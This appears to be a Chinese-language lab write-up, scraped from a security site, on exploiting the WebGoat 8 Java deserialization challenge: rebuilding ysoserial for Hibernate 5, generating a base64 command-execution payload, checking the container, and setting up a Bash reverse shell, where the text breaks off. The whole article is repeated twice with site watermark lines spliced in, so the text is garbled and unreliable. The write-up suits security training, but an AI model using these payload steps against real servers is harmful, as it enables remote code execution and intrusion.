一次受限环境中的Java反序列化漏洞挖掘到Get Shell
在本文中,我们将向你展示一个利用不安全的反序列化漏洞的过程,我们将以WebGoat 8反序列化挑战(部署在Docker上)为例。只需执行sleep5秒即可解决挑战。但是,我们将会进一步寻求乐趣并尝试get shell。
介绍
Java的反序列化问题在安全领域已经被安全人员所熟知很多年了。2015年,两名安全研究人员Chris Frohoff和Gabriel Lawrence在AppSecCali上发表了名为Marshalling Pickles 的演讲。此外,他们还发布了一个名为ysoserial的有效载荷生成器的工具。
对象序列化主要是为了开发人员能够将内存中的对象转换为二进制和文本数据格式进行存储或传输。但是,从不受信任的数据反序列化对象可能会导致攻击者实现远程代码执行。
漏洞发现
正如WebGoat的挑战中所提到的,易受攻击的页面会从用户输入中获取Base64格式的序列化Java对象,并盲目的进行反序列化。我们将通过提供一个序列化对象来利用此漏洞,该对象触发面向属性的编程链(POP链)并在反序列化期间实现远程命令执行。
WebGoat 8中的不安全的反序列化挑战
通过启动Burp并安装Java-Deserialization-Scanner插件。该插件有2个功能:第一个功能是漏洞扫描,另一个功能是基于ysoserial工具生成Exp。
Burp Suite的Java反序列化扫描程序插件
扫描远程端点后,Burp插件报告结果如下:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
看起来很棒!
漏洞利用
让我们转到下一步并点击Exploiting选项卡来实现任意命令执行。
嗯?这似乎是ysoserial的一个Bug。让我们深入研究一下这个bug并转移到控制台,看看究竟是什么问题。
有效载荷生成错误
通过观察ysoserial,我们看到有两种不同的可用于Hibernate的POP链。通过使用这些有效载荷,我们发现它们都没有在目标系统上执行。
ysoserial中显示的可用的有效载荷
那么插件是如何生成有效载荷并触发sleep命令的呢?
我们决定在以下链接中查看插件的源代码:
· federicodotta / Java-Deserialization-Scanner
· 针对Burp Suite的一体化插件,用于检测和利用Java反序列化漏洞…
我们注意到有效载荷在插件的源代码中是硬编码的,因此我们需要找到一种方法来生成相同的有效载荷来使其能够触发漏洞利用。
有效载荷是硬编码的
在经过一些研究和帮助后,我们发现我们需要修改当前版本的ysoserial才能使我们的有效载荷起作用。
我们下载了ysoserial的源代码并决定使用Hibernate 5重新编译它。为了使用Hibernate 5成功构建ysoserial,我们需要将javax.el包添加到pom.xml文件中。
我们还向原始项目发送了一个Pull请求,目的是在hibernate5选择配置文件时修复构建的一个问题。
更新了pom.xml
我们可以使用以下命令继续重建ysoserial :
mvn clean package -DskipTests -Dhibernate5
然后我们就可以生成有效载荷了:
java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0
生效了的Hibernate 5的有效载荷
我们可以通过下面的命令访问Docker容器来验证我们的命令是否执行了:
docker exec -it /bin/bash
我们可以看到我们的有效载荷在机器上确实执行成功了!
漏洞利用成功!
我们继续列举目标机器上的二进制文件。
webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。让我们尝试制作一个有效载荷,向我们发送一个反向的shell。
我们在Pentest Monkeys上看到一些单线的反向Shell:
· Reverse Shell Cheat Sheet
· 如果你很幸运能够在渗透测试期间找到命令执行漏洞,那么很快就会…
并决定尝试下面的Bash反向shell:
在本文中,我们将向你展示一个利用不安全的反序列化漏洞的过程,我们将以WebGoat 8反序列化挑战(部署在Docker上)为例。只需执行sleep5秒即可解决挑战。但是,我们将会进一步寻求乐趣并尝试get shell。
介绍
Java的反序列化问题在安全领域已经被安全人员所熟知很多年了。2015年,两名安全研究人员Chris Frohoff和Gabriel Lawrence在AppSecCali上发表了名为Marshalling Pickles 的演讲。此外,他们还发布了一个名为ysoserial的有效载荷生成器的工具。
对象序列化主要是为了开发人员能够将内存中的对象转换为二进制和文本数据格式进行存储或传输。但是,从不受信任的数据反序列化对象可能会导致攻击者实现远程代码执行。
漏洞发现
正如WebGoat的挑战中所提到的,易受攻击的页面会从用户输入中获取Base64格式的序列化Java对象,并盲目的进行反序列化。我们将通过提供一个序列化对象来利用此漏洞,该对象触发面向属性的编程链(POP链)并在反序列化期间实现远程命令执行。
www.wnhack.com
WebGoat 8中的不安全的反序列化挑战
通过启动Burp并安装Java-Deserialization-Scanner插件。该插件有2个功能:第一个功能是漏洞扫描,另一个功能是基于ysoserial工具生成Exp。
Burp Suite的Java反序列化扫描程序插件
扫描远程端点后,Burp插件报告结果如下:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
看起来很棒!
漏洞利用
让我们转到下一步并点击Exploiting选项卡来实现任意命令执行。
嗯?这似乎是ysoserial的一个Bug。让我们深入研究一下这个bug并转移到控制台,看看究竟是什么问题。
本文来自无奈人生安全网
有效载荷生成错误
通过观察ysoserial,我们看到有两种不同的可用于Hibernate的POP链。通过使用这些有效载荷,我们发现它们都没有在目标系统上执行。
ysoserial中显示的可用的有效载荷
那么插件是如何生成有效载荷并触发sleep命令的呢?
我们决定在以下链接中查看插件的源代码:
· federicodotta / Java-Deserialization-Scanner
· 针对Burp Suite的一体化插件,用于检测和利用Java反序列化漏洞…
我们注意到有效载荷在插件的源代码中是硬编码的,因此我们需要找到一种方法来生成相同的有效载荷来使其能够触发漏洞利用。
有效载荷是硬编码的
在经过一些研究和帮助后,我们发现我们需要修改当前版本的ysoserial才能使我们的有效载荷起作用。 copyright 无奈人生
我们下载了ysoserial的源代码并决定使用Hibernate 5重新编译它。为了使用Hibernate 5成功构建ysoserial,我们需要将javax.el包添加到pom.xml文件中。
我们还向原始项目发送了一个Pull请求,目的是在hibernate5选择配置文件时修复构建的一个问题。
更新了pom.xml
我们可以使用以下命令继续重建ysoserial :
mvn clean package -DskipTests -Dhibernate5
然后我们就可以生成有效载荷了:
java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0
生效了的Hibernate 5的有效载荷
我们可以通过下面的命令访问Docker容器来验证我们的命令是否执行了:
docker exec -it /bin/bash
我们可以看到我们的有效载荷在机器上确实执行成功了! 无奈人生安全网
漏洞利用成功!
我们继续列举目标机器上的二进制文件。
webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。让我们尝试制作一个有效载荷,向我们发送一个反向的shell。
我们在Pentest Monkeys上看到一些单线的反向Shell:
· Reverse Shell Cheat Sheet
· 如果你很幸运能够在渗透测试期间找到命令执行漏洞,那么很快就会…
并决定尝试下面的Bash反向shell: